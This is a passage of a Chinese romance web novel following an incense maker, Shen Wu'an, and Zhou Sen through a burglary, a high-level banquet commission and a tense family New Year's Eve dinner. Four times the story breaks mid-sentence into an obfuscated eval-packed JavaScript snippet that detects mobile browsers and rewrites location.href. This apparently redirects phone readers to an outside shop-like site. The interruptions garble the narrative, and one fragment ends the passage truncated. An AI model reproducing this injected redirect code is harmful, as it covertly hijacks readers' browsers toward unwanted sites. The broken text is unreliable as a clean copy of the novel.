“别怕,我陪你去看看。”他温和地安慰。 - 情况比沈吾安预计的更糟糕,楼上楼下皆如龙卷风过境般一片狼藉。 所有柜子橱门都朝外敞开,抽屉被人从柜子里抽出,和各类物什衣物一起扔得遍地都是。 沈吾安的房子里没留什么现金,除了珍藏的药香制品外,唯有客厅的电视机是最值钱的。无物可盗的窃贼们大概是恼羞成怒,砸碎了电视屏幕不说,还翻出洗衣液泼洒在沙发,床品,地毯和墙上。 若只是这些,沈吾安尚能接受。房间乱了,收拾干净就好。沙发地毯脏了,洗干净也会没问题。 问题是那些被折断踩烂的药香制品和泡在清洁液里的精选香材。沈吾安把这些视若珍宝,现在这些全被毁了。 她站在一片空白中,听到耳膜内失衡的心跳突突直响。无能为力的愤怒和茫然骤然把几年前的画面残忍地扯回她的眼前,记忆与现实交叠着如浪潮般一阵接着一阵冲击她。 在阴雨中粘结成坨的黑色灰烬,垂死挣扎的零星火点,被砸得四分五裂的收纳盒,还有自以为是咄咄逼人的劝诫。 那些未曾被妥善处理的情绪和伤口再次赤裸裸地袒露在空气中,困住她的自若和坦然,教她无法动弹。 她什么也做不了,每次都这样,连归责都找不到落脚点。 她只能接受,可她偏偏无法接受。 沈吾安逐渐觉得缺氧,躯体本能促使她急促地往体内吸气,却仍旧不够。她很快听到自她的嗓子里发出的尖锐的抽气音。 “安安。”一双手用力地锢住她的双臂,沉稳有力地呼唤她的名字:“安安!” 沈吾安回过神。 面前站的是周森。 他扶着她的双肩,弯腰与她平视,坚定地自视她的双眼,像是要把力量传递给她:“深呼吸,跟着我的节奏,一。” 他示范了一个标准的深呼吸。 沈吾安不得要领地配合他,眼神却不自觉的闪烁晃动,像是又要陷入糟糕的情绪中。 周森的目光紧紧锁着她,不让她转移视线:“二。” 沈吾安继续跟着他的节奏。 “三。” 如此往复十几次,她的呼吸终于在周森的带领下回复正常,只是脸色仍旧苍白如纸,眼神同样惊惶无措。 周森安静地陪她站在凌乱狼藉的房间里,从容和煦地与她对视。任由沈吾安毫无戒备地在他的眼神里翻找宽慰和包容。 他用无声的陪伴告诉她,没关系的。 会过去的。 会好的。 你不是一个人。 有我在。 后知后觉的害怕和委屈终于逐渐盖过愤怒和震惊,沈吾安动了动嘴唇,开口才发现嗓音哑得可怕,几乎失声:“都没了。” 她说。 随着这三个字,她的嘴角不能控制地往下撇,眼圈也跟着泛红。 周森叹口气,上前一步把沈吾安揽进怀里,又情不自已地亲亲她的头顶:“我陪你再做一次。” “香材也没了。”她的脑袋蒙在他的怀里,声音嗡嗡的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12843506|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我陪你去买。” 她还是不能接受,忍了很久又很介意地重复:“都没有了。” 周森高大的身躯将她牢牢锁在自己怀里,低声告诉她:“没关系,有我在。” - 安抚好沈吾安,周森很快安排专人对沈吾安的出租屋进行清理打扫,同时更换门锁。 沈吾安跟着清洁人员在工作室找了一圈,找到一些幸存的线香和材料,又去二楼翻找干净衣物。 即使房子清理完毕,周森也绝不放心沈吾安继续待在这里。况且清洁洗涤剂的味道异常浓郁,床品沙发同样未干,今晚肯定不能住人。 他不算满意地扫视不再温馨的室内,询问沈吾安:“今晚就不住这了吧?我在公司附近的酒店替你订了房间,现在送你过去?” 沈吾安没有拒绝,她同样自知没有单独留在这里过夜的勇气。 去往酒店的路上,周森没能陪同。 他已经在她这里滞留太久,远远超出他预留的时间。他为此事推掉了两个会议,然而五点后和M国总部的那个会议至关重要,无论如何都必须参加。 沈吾安顺利入住酒店,先去浴室洗去一身的奔波,然后才在酒店沙发上坐下。 手机里有不少周森发来的信息。 他把明天晚宴会见的几位名单资料转发给她。担心沈吾安被杂事干扰无法静心阅读,又用简单明了的语言概括补充了一番。 然后又告诉她,他让助理替她预定了几套晚宴礼服,大概八点左右会送到客房。 消息的最后,他才用他熟悉的口吻让她安心,说他会替她处理好一切。 她的状态其实没有那么糟糕。下午短暂的情绪失控,诱因更多在于过去那段不开心的记忆。那种孤立无援,无处发泄的压抑自头顶骤然一泻而下,她措手不及。 只是她现在已经稳定,其实仔细想来,状况远没有几年前的糟糕。她大部分的香材早转移到孟叔的工厂,还有不少以前的存货也作为样品而被安置在工作室。 沈吾安回复完周森的信息,长吁一口气,感觉到腹中空空如也。 中午周森让人送来的午餐,她因为心情欠佳,几乎未动几口。 许是情绪起伏太大,沈吾安额外想吃重盐重辣的食物,麻辣烫或者麻辣拌都可以。 这么想着,她穿戴整齐拎着手机出了门。 酒店下面就是本市有名的地下商业街,吃喝玩乐一应俱全,同时连接市区五个热门购物中心。 沈吾安逛了半天才从琳琅满目的选中一家麻辣拌,接着又耐心地排了十五分钟的队伍购买时下热门网红奶茶。 她拎着麻辣拌,吸溜着奶茶从地下通道搭乘自动扶梯前往地面。电梯上行到一半时,突然听到街道上传来一阵雀跃的惊呼——“雪!下雪了!” 沈吾安仰头去看。 纷纷扬扬的雪花自头顶撒落,有一片覆在她的睫毛上。 她下意识眨了眨眼,被扶梯带到出口。 步行街的街灯璀璨闪耀,熠熠生辉,在霓虹灯的连接下串成耀眼的珠链。雪花被灯光晕染上层层温和的柔光。 沈吾安用小指勾住外卖,拿出手机想给拍下这幕夜色下的雪景给周森。 手刚举到半空中,屏幕顶端连着弹出两个消息通知。 是周森发来的图片。 画面中沈吾安穿着臃肿的羽绒服,低头站在纷乱的大雪中。右手小指勾着两个塑料袋,偏选择用左手绕过身体,正以一个奇怪的姿势,笨拙地从外套右侧口袋里掏东西。 傻得不行。 沈吾安第一反应是想笑,然后她意识到什么,猝然抬头。 不远处酒店门口,被众人簇拥前行的周森正面无表情地迈进酒店大门。 可能是心电感应,在沈吾安看向他时,他脚步突顿,转头再次朝她的方向看来。 隔着百米的距离,隔着如潮人流,他精确地找到她,然后冲她扯开嘴角,露出一个极其短促的笑容。 57.Chapter 057 Chapter 057 沈吾安的脑子里闪过很久之前,在短视频上经常刷到的一句话——很难不心动。 她真的没办法不对这样的周森心动。 直到周森的身影完全消失在视线里,她才低头去查看另一条消息。 他说:【奶茶洒了。】 沈吾安又忙不迭去检查身上,果然看到衣摆上沾了不少棕色的奶茶渍。 她无奈摇头自嘲她笨得可笑,回复周森:【感谢提醒。】 而他许是忙着应酬,没有回复信息。 直到接近午夜,周森的回复才姗姗来迟。 他喝得有些多,声音透过听筒穿出,透着明显的醉意:“奶茶好喝吗?” 沈吾安料想周森不会关注这些网红产品,笑着解释:“是爆红款,超好喝。” 周森没有拨打语音通话,而是发着语音消息有一搭没一搭地和她闲聊。 “什么味道的?”他问。 “豆乳麻薯。” 周森:【。】 沈吾安:【。。】 隔了几分钟,他又问:“睡不着吗?” “还行,准备睡了。” “沈吾安。”他叫她的名字。 “在。” 这次隔得更久,周森才用稀松平常的语气说:“我隔壁有空房招租,你考虑下搬过来吧?” 语音播放结束,沈吾安还愣在原地,数秒后,她点开语音又听了一遍: “我隔壁邻居的空房招租,你考虑一下搬过来吧?” 沈吾安捏着手机,无语地闭眼很久,才笑出声。 那边没有等到她的回复,再次发来消息:【考虑一下。】 沈吾安不忍心拒绝,说:【好。】 翌日傍晚,孟达海亲自来酒店接沈吾安。 她难得见到孟达海身着严谨正规的西装,发油将头发抹得一丝不苟,衣物上熏有苦艾味。令她更加意外的是,他竟然还在西装口袋放了个明光铮亮金色怀表。 出发前他就关心沈吾安是否有空了解即将见面那位的背景,得知她看过周森发的资料,而周森也对她补充过后,仍是放不下心。 他这副严阵以待的模样,惹得沈吾安不免跟着紧张。 她偷偷长出一口气,问:“周森不来吗?” “他不来。”孟达海快速否认:“今天属于私宴,阿森没被邀请。” 沈吾安努力镇定:“好。” 晚宴的地点在社交网络搜不到的一家餐厅里。餐厅位置处于市中心,离市政大楼只有几分钟的步行距离。然而它闹中取静,坐落在某大厦的顶层。 沈吾安同孟达海一起被门童由一层搭乘专用电梯直至二十八层,繁华都市的夜景随着观光电梯的攀升被勾勒完整。 电梯门打开后入眼的是大片的绿植和透明的圆穹顶,顶宛若是个小型的植物园。她们步上微微潮湿的青石板,曲径通幽伸向静谧的深处。 最终他们停在名唤“梅簪”的包厢门口。 服务生轻叩木门,得到准许后才替她们打开门。 包厢内装修风格古色古香典雅奢华,只是四人用餐的室内,候着五位服务生,餐桌大得能容纳十几人。偌大的圆形餐桌上,占了大部分面积的微缩假山景观园林惟妙惟肖,干冰仿造出的烟雾氤氲缭绕,宛若人间仙境。 如丝如缕的雾气后,坐着对年过半百的夫妻。沈吾安常在时政新闻上见过这位男士,今晚他也如电视上那般衣着端正神情严肃,举手投足间充满“上位者”的气魄,只一眼就让沈吾安无端感到压抑。而他身边的女士雍容闲雅,微笑时嘴角有细细的笑纹,气质和男士截然不同,显得亲切又包容。 孟达海带着她和二位问好,然后服务生上前替他们拉开餐椅,服务他们入座。 经过几番不咸不淡的寒暄,叶女士轻放筷子,笑着看向沈吾安:“舒甘解郁香的复原款是你做的?” 沈吾安颔首:“是。” “我有缘还得到几支你做的颐馥令,也很好闻。”叶女士优雅地喝了口茶水:“我一直很喜欢薰香,以前有位制香的老友作伴。但几年前他仙逝,便再难寻得如此可心如意的香。” 沈吾安赶紧说:“承蒙您的喜欢,是我的荣幸。” “我这里还有一款旧香,找过不少有经验的老香师复原,结果都不太尽如人意。所以我让先生找到孟先生,想联系你试试。” 叶女士说完,让服务生取来她早已准备好的香盒,并让服务生递给沈吾安。 “你先打开看看。”她说。 沈吾安抽开雕花盒盖,看到盒子里并列排着寥寥三根线香。线香颜色接近咖啡色,触手略粗糙,有细微的颗粒感。她拿起其中一根线香生闻,闻到一股淡淡的木质香味。细嗅后才发现有元参,甘松,灵香草和麝香的味道。 “是降仙香吗?” 叶女士眼里不禁露出赞赏的笑意:“没错。” 她目光轻柔耐心地等着沈吾安的答案,得到满意的回答后,她才提出下一个要求:“但是我急需这个香的成品。” 沈吾安愣怔,问:“大概有多久的时间?” “到年后,正月初八。” 不到一个月。 见她面露难色,叶女士看了眼她的先生容先生,又说:“我明白时间有些紧迫,如果你做不到也没关系。能见到香的主人,我已经很开心。” 沉默聆听已久的孟达海终于在此刻开口,也问沈吾安:“安安,你觉得来得及吗?” 沈吾安明白孟达海的急切,但她的确不能保证,只能如实相告:“我会尽我的全力试试。” 即使只是这样的答案,叶女士便已心满意足,之后的时间她表现得比之前更亲和,与沈吾安对话时眼里总含着淡淡笑意。 在饭局最后,叶女士再三叮嘱沈吾生,只要是复原香上的事,可以随时联系她。为表诚意,她留下了自己的联系方式。 回程路上沈吾安仍处在飘飘然的情绪中,好似大梦一场,找不到一点真实感。 耳边始终充斥着孟达海略带高昂的声音,他被迫紧锁整顿饭的话闸终于打开,不停地絮絮叨叨: “材料都有的吧?我记得你仓库里放了不少,而且我前阵子进了不少顶级檀香,你看看能不能用。” “你那个出租屋还能住吗?我有几套空房打扫打扫就能搬进去住。你不嫌弃的话,我明天就让家政过去。” “安安,你有多少把握?年后开工前能完成吗?” “过年期间就辛苦了,有任何事情你随时找我。” “如果牵上容先生这条线,我们爬升的可不止一个层次啊!” “……” 沈吾安机械地回应着,内心激动忐忑的同时,她又想到了周森。 好像只有见他一面,她才能安稳地回到地面上。 今晚听到他不参加晚宴的那瞬间,她几乎是立刻就慌了神。即使孟达海才是真正带她进入这个领域的人,但她潜意识里就是更信任周森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12876523|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一到酒店房间,她就给他发消息告诉他饭局结束,她已回到酒店。 但周森似乎又在忙,她一直没收到回信。 沈吾安握着手机等到撑不住沉入梦乡,都没能到他的回复。 - 第二天醒来她才看到周森三点多的消息:【睡了吧?】 隔了半小时,他又说:【晚安,好梦。】 快四点才睡? 她惊讶地反复确认时间,打字问:【昨晚怎么应酬到这么晚?】 不到一分钟,周森回复:【醒了?】 沈吾安:【嗯。你怎么也这么早就醒了?】 手机接连传来两次消息提示。 第一条是周森发来的照片,图片里有半个笔电,熄屏的Pad,只剩个底的黑咖啡,还有周森白皙瘦削的左手,指节分明的五指松弛地弯曲着。 第二条信息里,他说:【打工人的一天开始了。】 沈吾安不敢去想他是几点起的。这样的生活作息,再好的补药都没用,难怪身体差。 她想提醒周森要早睡,已经在对话框输入了几个字,又被逐字删掉。 有谁愿意工作到凌晨三点都不能睡呢,周森也不过是身不由己。 手机再次震动,周森问:【方便通话吗?】 很久没看到周森这么问,沈吾安莞尔,回复:【好。】 下一刻周森的语音通话请求从屏幕上跳出。 按下接通,周森几乎是立刻就说:“早安。” “这几天这么忙吗?”沈吾安还是忍不住问:“都快过年了,还这么忙?” 周森笑:“年前有些事要处理,大家都在忙。” 沈吾安极小声,快速又含糊地嘟哝了一声。 周森没听清,没恼反而还笑出声:“说了什么?” 沈吾安抿了下唇,憋了数秒才说:“没什么。” 周森没放弃:“嗯?” “就是,让你注意身体。” 本以为周森不会在意,可静了一秒后,他认真回答:“好。” 他的声音很轻,几乎是气音,听上去宠溺又无奈。 沈吾安下意识做了个吞咽,感觉到耳根迅速发热。 “对了。”周森说:“你的房子门锁都换好了,墙面也重新刷过,再过几天你就能回去住。” “好。” “但我还是想问,你要不要考虑搬到我的隔壁?”顿顿,他补充:“房东真的不住那,全家都移民了。” 沈吾安忍不住笑出声。 周森奇怪地顿住,问:“笑什么?” 沈吾安笑他编的理由拙劣老土,现在言情小说里的霸总都不屑用这烂俗的老梗。 但她内心天秤的偏向,让她选择善良地包容他的借口:“没什么。” “你要不搬过来吧?”周森循循善诱:“独门独户,隐私极佳,还有二十四小时安保。房租虽然有些高,两万一个月,但公司报销一半。” 看来他早有打算,连房租都替她计划好了。租金太贵可能会被她拒绝,但公司全包她同样不会同意。一万刚好是她预算的极限。 但更触动沈吾安的,是周森耗费在这件事上的心神。 见沈吾安迟迟不回答,周森把心底最坏的打算摊到台面:“房子电梯独户直达,平时不会有电梯偶遇或者开门偶遇的尴尬。而且平时我很忙,很少在家。” 沈吾安仍旧沉默。 “你搬过来吧。”他声音很低。 58.Chapter 058 Chapter 058 退租,搬家都需要不少时间和精力,沈吾安暂时抽不出时间。 虽然答应了周森,但她还是在让孟达海替她安排工厂宿舍的单人房,以便她在研究复原香期间短暂休息。 反复的试香,调香,重新配比香材,调整干湿度和温度几乎占据沈吾安的大部分时间。 从前她一人在出租屋里,经常埋头便不知不觉消磨掉一天。如今更是废寝忘食,睁眼就一头扎进工作室开始忙碌,直到饥肠辘辘头昏脑胀才从案前抬头。 只有在休息的间隙,她才会回复周森的消息,来去都些很日常的对话。 周森知道叶女士的复原香成品迫在眉睫,偶尔会让助手送些点心补品给她。 时光如梭,很快就到了大年夜的清晨。 沈吾安昨晚只睡了三小时不到,心里惦记着粘土的干燥程度,便睡不安稳。 沈竟思在她闭着眼刷牙时打来电话。目的是让沈吾安同意回家过年,可任他打滚耍赖十几分钟,他的姐姐始终不为所动。 最后他故作低落地说:“我只是不想再让你一个人跨年。” 沈吾安欣慰的同时又想笑,告诉他现在她这里有大好的机会能够发财高升,此时不抓紧更待何时。 这番话瞬让沈竟思原本就不多的那点多愁善感,立刻烟消云散。不仅连声要沈吾安专心工作,甚至还毛遂自荐,称要动身去帮她。 沈吾安无奈劝阻。 和沈竟思通完电话,她看到手机里躺着周森的短信,问她今天的安排。 沈吾安回复两个字:【工作。】 周森说:【加油。】 不一会儿,他又发消息:【我今天回家吃年夜饭。】 沈吾安皱了下眉,莫名觉得周森这条信息的语气很怪。 她不止一次听到过别人说周森和家里关系不好。除了哥哥之外,她也几乎没有听他提起过他的家人。 往常他都会这样告诉她他的一天:【刚开完会。】【刚到家。】【刚从宴会厅出来。】 大多都是忙碌过后,他告诉她:我有空了。 沈吾安收回放在门把上的手,把背包重新挂到挂钩上,然后问周森:【方便语音吗?】 周森:【在车上,但能聊几分钟。】 沈吾安按下通话键,很快被周森接通。 “周森。”她开口,却突然不知道该说什么。 她就是无端觉得周森需要陪伴。 “怎么了?”周森问,他的声音听上去和往常没有任何差别,沉稳又松弛。 “你,要不要和我对个暗号?”沈吾安没头没脑地说。 周森被逗笑:“什么暗号?” “就是……你想从某些不方便抽身的场合离开时,给我发个暗号,我就立刻给你找事的那种。” 周森短暂一顿,随后如叹息般笑出声:“傻子。” 沈吾安:“……” “不会不方便。”周森宽慰她:“我想离开随时可以离开,不要担心。” “一个暗号而已。”沈吾安坚持:“任何时候,只要你需要我出现时的暗号。” 周森无法拒绝这么诱人的要求,他思量数秒,说:“倭瓜。” 沈吾安会心一笑:“好。” - 往年周家的年夜饭更似一场盛大的晚宴。五亲六眷,姓周的,不姓周的都会参加。届时偌大的周家老宅会罕见地出现摩肩擦踵的场面。 这一晚,周森根据计划在年夜饭开始前十分钟抵达老宅的停车场。 停车场内早已车满为患。从停车场到宴客餐厅需耗费近五分钟的步程,他压着时间出现,只需和眼熟的亲戚客套寒暄,就能顺利开始用餐。 冬日的太阳下山很早,唯留一丝橙色余韵挂在天边,另一边的月亮倒是意外地皎白透亮。 小时候的周森极喜爱过年这几天,因为热闹。即使是周颂今离开那年,老宅的年三十仍是不变的喜庆喧阗。 但通向热闹厅堂的路,总是寂静的。 - 周森由宅院正门进入,沿着碎石板铺装的弹街石铺地往里走。路的两边是竹石组景,为了迎接新年被挂上不少喜庆的红色装饰。 四下寂静无声,皮鞋踏过石板的声音格外清脆。 月洞门后是荷寂轩,记忆中那些姨姨姑姑,总爱在夏日午后聚在这里乘凉吃茶。园里移步换景,光影交叠,不管任何时候都有其独具特色的美。而坐在荷寂轩的窗边,正好能看到对面假山上的淞云亭,和湖中心的翠阴凤。 沿着蜿蜒曲折的游廊一直走,便会抵达会客厅莲音榭。 会客厅的格栅门向内敞开,厅内人头济济,热闹非凡。有人眼尖见到周森进门,立刻拉着旁人过来打招呼。 周森很快被人团团围住。 他太久未在祖宅出现,也有好些年没参加年夜饭。今夜突然出现,惹了不少好奇打量的目光。 几分钟后,周文州被人领着走到周森面前。 七分相似的父子见面,谁都不肯先开口说话。最后还是旁人提醒,周老太爷等着见周森,周文州才对他点了下头,示意他先去忙。 - 周老太爷在偏厅打盹,他年近百岁,没有精力在外应酬,午睡后就被人安置到这里,方便早到的晚辈们进来问候。 老宅几年前在维新时,给不少房间装了地暖,周老太爷今日所在这个房间也一并安装。 周森推开门帘,屋内干燥的暖气瞬时扑面而来。他把大衣脱下来挂在小臂上,看到半躺在太爷椅上的周老太爷。 老太爷今日身着绣有金丝暗纹的黑色棉衣,手中还捧着个铜制的手炉。虽然已老态龙钟,但仍旧把自己收拾得整洁得体,银发被一丝不苟地梳在脑后。 周森恭敬地喊:“太爷爷。” 周老太爷从混沌中抬头,视线落到门口瘦削高挑的青年身上。青年眉宇俊朗冷硬,不做表情时唇线自然朝下,透着股生人勿近的疏离。 老太爷想了许久,认出这是他等了很久的文州家的孩子,于是朝他招招手说:“来。” 周森放下外套走过去,蹲到老太爷跟前。 他这次本就是为了见老太爷而来。上礼拜母亲发短信告诉他说,老太爷最近越发不认识人,总是昏睡。恐怕时日无多,遂劝导周森今年无论如何都要回来一趟。 他仰头又喊了声:“太爷爷。” 周老太爷吩咐身边伺候的人去门外等候,声称自己要和宝贝说几句贴己的话。随后抓起亲昵地抓起周森的手放到自己的膝盖上,动作间自衣袖传出浓重的香薰味。 他慈爱地拍拍周森的手背,开口道:“颂今啊。” 周森微乎其微地僵了一瞬,面不改色地对周老太爷笑了笑。 “颂今啊,”老太爷再次喊他,瘦骨嶙峋的手不停地摩挲他的手背,关切地问:“外头天寒地冻,怎么还穿这么少?” 周森回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12904420|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不冷的,太爷爷。” 周老太爷听完他的话,无声端详他良久后松开手,哆哆嗦嗦地从身旁的锦盒里拿东西。 周森欲上前帮忙,却见周老太爷从盒里取出两个红包,转回身塞到他的手里。怕周森推辞,他补充:“没成婚的都有红包拿。你一个,阿森也有一个。” 他说到这,扫了眼门口,问:“阿森呢?” 傅倾君在短信里只是言简意赅地说太爷爷不太识得人,却原来已经发展到将很多事都忘了,连同周颂今去世已久的事一起。 周森不忍叫醒他,只说:“他在外面玩。” “玩吧。”周老太爷点点头:“你记得到家了,再把红包给他。阿森这孩子总是冒冒失失,丢三落四,不像你那么细心。” 周森低头笑了下,说:“是。” “但是颂今啊,有些事需要放宽心,不要总憋在心里,让它过去。”老太爷轻轻抚摸他的头:“没什么大不了的,不听话不优秀又怎么样?没必要事事都逼自己争第一。凡事都追求完美,最终受累的是自己。” 周森顿口无言。 “谁都有失误的时候。连你太爷爷我在年轻的时候,也曾因为一时意气栽过大跟头,差点都翻不了身。后来换条路走,照样把周家的产业做得风生水起。N大是个好学校,太爷爷为你骄傲。” 周森的喉结艰难地滑动了一下。 原来太爷爷早就看透周颂今,知晓他并不如表面上那般风轻云淡,反而因为层层枷锁而作茧自缚。他知道周颂今因为未能录取梦想高校而郁郁寡欢,也知道周颂今强撑着做“周颂今”,撑得很累。 “太爷爷,我知道了。”他只能这么说。 周老太爷并未因为周森顺应他的话而感到宽慰,反而沉沉地长叹一口气:“你和阿森都是好孩子,平时要互相照顾互相扶持。阿森他……”周老太爷难过地停顿数秒:“他性格调皮顽劣,总不得文州喜爱。而你母亲对他的态度你应该清楚。我总是想起来有一年过年,他不知道在哪里落了水,湿淋淋地躲在西苑暖炉边上取暖,凑巧被我瞧见。” 周老太爷回忆起这幕,仍觉得记忆犹新:“他怕得脸色比纸都白,还挺着胸要我别告诉文州和倾君。那时候我就在想,文州家这孩子,怎么情愿在零下的天气里裹着这身又湿又重的衣服挨冻,也不愿让父母知道呢?冻出病了,可怎么办?” 周森当然也记得这事。 那是在他差不多六七岁的年纪,他为了登高而爬到湖边的假山上,结果不慎落入湖中。心虚的他偷偷避开人群,躲进偏远的西苑,试图靠着暖炉烘干衣服,谁知被刚好路过的太爷爷撞个正着。 对于这件事,占据他记忆更重头的部分是太爷爷抱着落水狗一般的他,带他去换了新衣服。太爷爷不仅遵守承诺地对别人隐瞒了他落水的事,还送给他好大一个装了麦芽糖和巧克力的福袋。那天后来他一直被太爷爷带在身边,靠着太爷爷的软垫喝果汁看电视。 那个春节,他其实很开心。 可原来对于太爷爷来说,这个春节成了他漫长岁月里耿耿于怀的一个节点。 所以在事情过去二十年的又一个大年夜,在他已然忘记大部分人事物的今天,他仍然放不下他嘴里那个调皮顽劣的周森。 周森垂首握着老太爷枯瘦干瘪的手,感觉生命力似在沙漠中蒸发的水份一般,正迅速地从他的身上流失。 周森用力去抓,不过是抓住流沙一把,什么都留不下。 59.Chapter 059 Chapter 059 由于身体原因,周老太爷只在年夜饭上现了下身就回房了。 周森口袋里揣着两个沉甸甸的红包,目送他离开,心中明白以后见到老太爷的时日,已是屈指可数。 - 周老太爷名下有不少股份,自他身体抱恙起,众人就开始暗自猜测他的遗产分配安排。 今日他拉着周森说了那么久的话,对周森的偏爱昭然若揭。故而遗产会如何分割,在场的人心知肚明。 席间向周森敬酒叙旧的亲戚络绎不绝,尤其是他的两位叔叔,编了四五个借口来过好几次,试探之心一次更比一次明显。 反而是周文州仿佛对此事毫不在意。他和周森被安排在同一张餐桌上,却从始至终都没有任何交流。 周森喝了很多酒,胃里翻腾得厉害。 二叔偏又在这时拎着酒瓶停在他身边,满脸谄笑地替周森添酒:“叔叔听说你自己在外面闯,生意做得不错?不愧是文州的孩子,出息得很!” “混口饭吃。”周森伸手盖住杯口:“二叔,我不能再喝了。” “都是混生意场的,这才哪到哪?”二叔作势要继续倾倒。 周森却没有移开手,面无表情地看着他。 二叔被看得变了脸,很快败下阵躲开视线,阴阳怪气地撇了下嘴:“但照我看来,你那些小打小闹多搞也没什么意思。跟家里这些产业比起来,简直就是浪费时间,不如趁早回来替你爸打下手。” 周森勾了下唇角,神色逐渐转冷。 “但是吧,蚊子腿上的肉也是肉,白扔了可惜。二叔有个提议,就是提议啊!”他又端起谄媚的笑:“你把外头搞的那些小打小闹,转交给表弟练练手。他刚毕业,整日在家游手好闲,我给他找点事做。” 周森冷漠地看着二叔。他身处这觥筹交错的热闹中,却突如其来地觉得无趣,醉意消失得无影无踪,取而代之的是可怕的冷静和清醒。 “怎么转?”周森松开高脚杯,后靠到椅背上:“二叔看中了小侄哪个公司?” 二叔误以为周森这是松口的意思,忙不迭给周森斟满酒,满脸堆笑:“周科说你那块什么AI什么智能的,他还稍微懂一点。” 说着双手端起周森的酒杯,送到周森眼前。 周森没接,他对二叔微微笑了笑,问:“他懂什么?” 二叔动作微顿,从周森冷淡的笑里琢磨出点拒绝的意思。 “反正到时等你回来,哪有时间管这些小事情,不如让你弟弟练手。”二叔说。 周森点点头,觉得再多忍耐一秒都是对自己身体的不尊重。他推开二叔举着酒杯的手,淡声道:“生意场不是学点2+3就能应付的,等周科理解什么叫‘练练’,我们再谈。” “你!” 周森没再给他眼神,转头朝周文州点了下头,招呼也不准备和旁人打,就准备起身离开。 “周森。”周文州出声。 周森驻足回头。 二叔醉醺醺地以为周文州是要替自己出头,指着周森对周文州说:“大哥,你看阿森……” “闭嘴。”周文州不悦地扫他一眼,继续对周森说:“去和你母亲打个招呼。” 周森不置可否地点了下头。 “徐晨在停车场等你,让他送你回去。”周文州又说。 - 傅倾君不愿意和周文州同坐一桌,和周森的爷爷奶奶辈坐在一起。 看到周森来问好,她的态度不算热络,连表情都很吝啬。 只是在周森提出告辞时,傅倾君留住他,然后从手腕摘了串珠子下来,装进刺绣的布包里交给周森。 周森笑着接下:“谢谢。” “上个月去寺庙顺便求来的。”傅倾君声线很冷,故而听上去更显冷淡:“没什么大作用,就是保佑身体健康。” 周森微微颔首,仍是笑:“我知道了,妈妈。” 傅倾君因着这几个字不明显地顿顿,然后漫不经心地“嗯”了声。 和傅倾君告别后,周森沿着来路往回走。不少小朋友用完了餐,在院子里追逐打闹,手中燃烧的仙女棒跟着闪烁一路。 来时寂静的小路热闹不少,但这些似乎和周森没什么关系。 接近停车场,他远远就看到了等在他车边的徐晨,脚边放着五六个包装精致的礼盒。 他跟在周文州身边干了快四十年,是周文州极度信任的助手。但凡周文州有很重要而自己又不方面露面的事情,他都会差徐晨去办。 周森率先出声,叫他:“徐叔。” “新年好。”徐晨朗声笑:“阿森看着成熟不少啊!” “新年好。”周森表情很淡:“辛苦徐叔大年夜还要送我一程。” 徐晨笑着摇头,称这些都是本职工作。 周森把车钥匙交给他,自己打开车门坐进后座。 周文州不会平白让徐晨专程送他一趟,其目的不是太爷爷的遗产分配问题,就是要他回去。 周森懒得深猜,他今晚实在喝得太多,红的白的混着喝的后劲很强,翻滚着直冲他而来。 他的脑袋疼得厉害。 反正徐晨迟早会说。 果然,靠近周森住宅时,徐晨清了下嗓子,终于开口:“阿森。” 周森忍着不适等了一路,敷衍地抬了下眼帘:“嗯?” “周董准备了些年货给你,我都放在后备箱了。” 周森道:“有心了,谢谢。” 徐晨叹口气:“和自己父亲客气什么。” 周森冷嗤了一下,没有说话。 “年货一式两份,另一份是给夏家的。”徐晨再次开口:“夏迟明天上午的飞机回来,周董的意思是让您去接一下机。” 徐成说完等了半天,后座一点动静都没。 他透过后视镜去看周森。原以为他在闭目养神,谁知竟和他冰冷的视线直直撞在一起。 周森好整以暇地坐在皮质座椅上,似笑非笑地和他对视。 徐晨比周森徒长三十岁,居然在周森轻描淡写的眼神中轻易败下阵来,陡然感到一阵无形的压力。 但他有任务在身,只能硬着头皮继续说:“周董让我知会您一声,夏迟今年夏天就能毕业。按照两家的意思是,过年期间先把你们的婚事定了,然后大家一起找个黄道吉日,争取下半年完婚。” 周森未置可否,仍然没有出声。 徐晨再看过去,发现周森再次合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 